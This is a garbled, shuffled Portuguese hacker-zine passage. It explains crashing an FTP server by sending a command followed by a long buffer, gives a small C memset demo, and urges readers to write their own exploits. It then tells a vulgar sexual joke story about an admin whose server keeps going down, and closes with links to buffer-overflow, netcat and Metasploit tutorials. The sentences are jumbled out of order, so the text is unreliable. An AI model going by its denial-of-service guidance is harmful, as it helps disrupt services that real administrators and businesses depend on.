. Veja q eu pego o numero de bytes da variavel caracteres.cut -Result: Oia ai a putaria: SSSSSSSSSSSSSSSS Pressione qualquer tecla para continuar. nao me lembro qual eh a versao dele.1 ..o. Ah! O sami FTP eh vulneravel a este comando seguido de muitos bytes. 'S'.. se voces nao manjam de socket em 'C'.. quando terminar de ler este txt.. main (){ char me_seta_gostosa[50]="Oia ai a putaria: ".. ele vai a escrever no buffer a partir do numero de letras da varia vel. veja este trecho: caracters=strlen (me_seta_gostosa).int caracters... system ("pause").Atribui o numero de bytes da variavel memset (me_seta_gostosa +caracters.. // < -.?. Veja que existe um espaco depois da letra 'R'. Agora vao fazer seus exploits!!! ...Quais as utilizacoes de D...variavel q serah setada rsrs caracters=strlen (me_seta_gostosa).. ei. 'S'.. e envia o tal do buffer depois do comando.. baixe o txt de socket no final deste txt (..S eh simples. 0x10). Repare q utilizo no primeiro parametro da funcao o '+caracteres' ou seja. Lembrando q espacos em branco entre uma palavra e outra na mesma string equivale como caractere.) e veja o video do meu manoh Dehdeh amoreba ehehehehe! Ele ta ferrando o sami! Resumindo: O esquema de D. pois caso contrario o 'memset()' vai sobescrever o comando. . vc se conectada ('connect()'). significa que muito provavelmente voces nao vao saber fazer o exploit!!! Hum.. eu poderia enviar o comando seguido do buffer cheio de 'S'. Agora veja isso: memset (me_seta_gostosa +caracters.. mas p/ isso eu te ria q usar a funcao memset e determinar o numero de byte logo apos o coman do. // < --.. Enfim..o.... } -. Veja: char exemplo[]="ABOR ". Nesse exemplo eu tenho um buffer local que suporta 50 bytes na bundinha.. Repare q eu comeco a setar a memoria a partir do numero de bytes da variavel caracteres..S? // Imprime o buffer na tela . // 10 (hexa decinal) eh igual a 16 em decimal puts (me_seta_gostosa).. 0x10) ..) Ops.:) Vao fazer seus ex ploits maninhos! 7.

ele estah em casa em cima da mulher.. o infeliz vai ficar puto por que ele nao consegue ter acesso ao server. O admin q esta longe resolve entao ir p/ praia. .. ele entao lembra do tel do seu Joaquim. Osama /bin/laden/ -fala "O bagulho manoh" neo: .). O infeliz usa o server de FTP da empresa porque precisa.. Osama /bin/laden/ -fala "Cade?" neo: . meu negocio eh mulher. mass. Bora lah na boca de fumo comprar.AAA. diz: Eh capita~. quando derrepende. mas. q tra balha no setor de limpeza. pois ele nao consegue estabelecer a droga da conexao no server da empresa.). issu nao eh uma historia gay! Ai o osama /bin/laden -fala "Io noi so marinhero". O nosso admin que vamos chamar aqui de 'neo'. o seu Joaca ja teve multiplos orgasmos. O osama /bin/lada -fala "o q voce ta fazendo por aqui?". eu ateh peguei. o seu Joaquim atende o telefone + q puto d raiva e diz: Po meu. e aquele vuco -vuco pra la e pra k. esporte? Falta do q fazer? Ou apenas p/ infernizar algum admin que precisa passar informacoes de vendas ou algo do tipo para a empresa. o telefone toca -> Era o admin. neo: . Que susto. o osama /bin/laden e eles co mecam a querer se falar (Hummm. nao amigo. Putz! Jah deu a hora do cara manoh! (Lembra que ta no final da tarde?). Ele nao consegue! Vc derrubou o server outra vez.. a mulher do seu Joaquim ta quase tendo 1 orgasmo. ele precisa disso para sobreviver pois vivo ele jah estah (rss).Nao tenho na pra fazer. o cara ta transando com a esposa. ele entao liga para alguem da empres a mas por alguma razao ninguem atente. mas um moleque de 7 anos com o nariz escorrendo e com uma garra finha de pitchula cheia de cola de sapateiro me roubou. ta todo mundo suado numa putaria soh..Nao cara. agora nao! Logo em seguida ele diz pro admin: Seu brocha! e desliga o tel. Ele pedi p/ ele clicar em umas coisas e tals. eu precisava pegar os locais que eu tenho q ir. dae ta tudo resolvido. voce derruba o server.. ele pega os dados para saber qual a proxima reuniao. Lah na praia ele encontra o terrorista mais procurado do mundo (Por enquanto nao eh o 6_Bl4ck9_f0x6 . pois um trombadinha o roubou no meio da rua e levou o CD's onde estavam os locais da reuniao. ta dando nela com gosto d gas. no final da tarde resolve se conectar outra vez p/ pegar os dados outra vez.Sei lah. ele entao liga para o cara q o ajudou da primeira vez. ou ateh mesmo pegar essas informacoes do servidor. algum kiddie deve ter derrubado o FTP da empresa que eu trabalho.Cade oq? Osama /bin/laden/ -fala "O negocio" neo: .

br/gcc_tuto_1.metasploit -br.com.xpg. 8.br/vb/pene tration-tests/12296 -metasploit -para-windowsdetonando-xd. ai eu cai da cama e acordei.0 .D.org ============================================================ by 6_Bl4ck9_f0x6 .Xau.xpg..Ex02.html ============================================================ Buffer Overflow by Andre Amorim Parte1: Link: http://www..com...hunterhacker.hunterhacker. Nao nao.txt -----------------------------------------------------------Berkeley socket em C parte 1: Link: http://www.br/Pen2.br/socket_ohhh_yes.rar Senha: myloveluz Aproveite e de uma passadinha em: www.rar Senha: myloveluz Parte2: Link: http://www.br/C..xpg.hunterhacker.com.O.Viper Corp Group []`s . Fim.txt ============================================================ Exploiting Heap Overflow in the windows Link: https://www. ============================================================ Informacoes sobre o netcat e um curso basico de linguagem C Link: http://www. Xau.hunterhacker..com.xpg.istf.br/Pen1.com.hunterhacker.E ae eles viveram felizes para sempre.com.txt -----------------------------------------------------------Tutorial Basico do gcc e entendendo as etapas de compilacao Link: http://www.xpg.